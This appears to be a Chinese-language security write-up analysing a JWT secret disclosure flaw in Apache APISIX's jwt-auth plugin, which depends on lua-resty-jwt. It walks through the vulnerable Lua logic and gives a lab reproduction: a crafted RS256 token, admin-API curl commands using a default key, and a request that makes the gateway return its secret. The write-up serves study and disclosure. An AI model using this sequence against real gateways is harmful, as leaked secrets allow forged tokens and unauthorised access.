0x00 概述
由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。
0x01 背景
APISIX
Apache APISIX 是一个开源的云原生 API 网关,具有高性能、可扩展的特点,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。
JWT
JSON Web Token 缩写成 JWT,常被用于和服务器的认证场景中,这一点有点类似于 Cookie 里的 Session id。JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分构成,分别为 Header(头部)、Payload(负载)、Signature(签名),三者以小数点分割。JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。
JWT格式
Header.payload.signature
0x02 分析
根据官方补丁定位到漏洞点

如果 JWT 无效则在 return 返回 401 并给出无效的原因,即 jwt_obj.reason。接着在 lua-resty-jwt 库中找到lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
1 | if not cert then |
.. 表示字符串拼接,即把后面代码的值拼接到字符串中
err and err or secret 所表示的意思是:如果 err 为 nil,则返回 secret 的值,否则返回 err
如果能让代码执行到这一步,就可以得到secret。
1 | if alg == str_const.HS256 or alg == str_const.HS512 then |
要让代码执行到输出secret有4个条件
- JWT 的算法需要是 RS256 或者 RS512
- trusted_certs_file 值需要为 nil
- secret 值不能为 nil
- cert 的值需要为 nil 或者 false
第一个条件容易满足可以在header的参数里改掉。第二个条件要求信任证书文件,APISIX 默认算法是 HS256,而 HS256 和 HS512 不支持这种证书文件的方式,因此只要我们使用 HS256 或者 HS512 算法。第三个条件,secret 值不能为 nil,当 APISIX 使用 jwt-auth 插件的时候,如果使用的默认算法,就需要指定 secret 的值,那么这个 secret 的值就不会是 nil 了。在 776 行至 779 行的代码中,可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY,如果有那么 cert 就不会是 nil 了,那么也就是说,只要 secret 中没有 CERTIFICATE 和 PUBLIC KEY,代码就会执行到第 782 行,并且返回 secret 的值。
0x04 复现
先计算一个RS256算法的JWT值作为payload
1 | eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg |
创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key
1 | curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' |
再创建一个路由
1 | curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d ' |
发送刚刚构造好的JWT值即可
1 | curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i |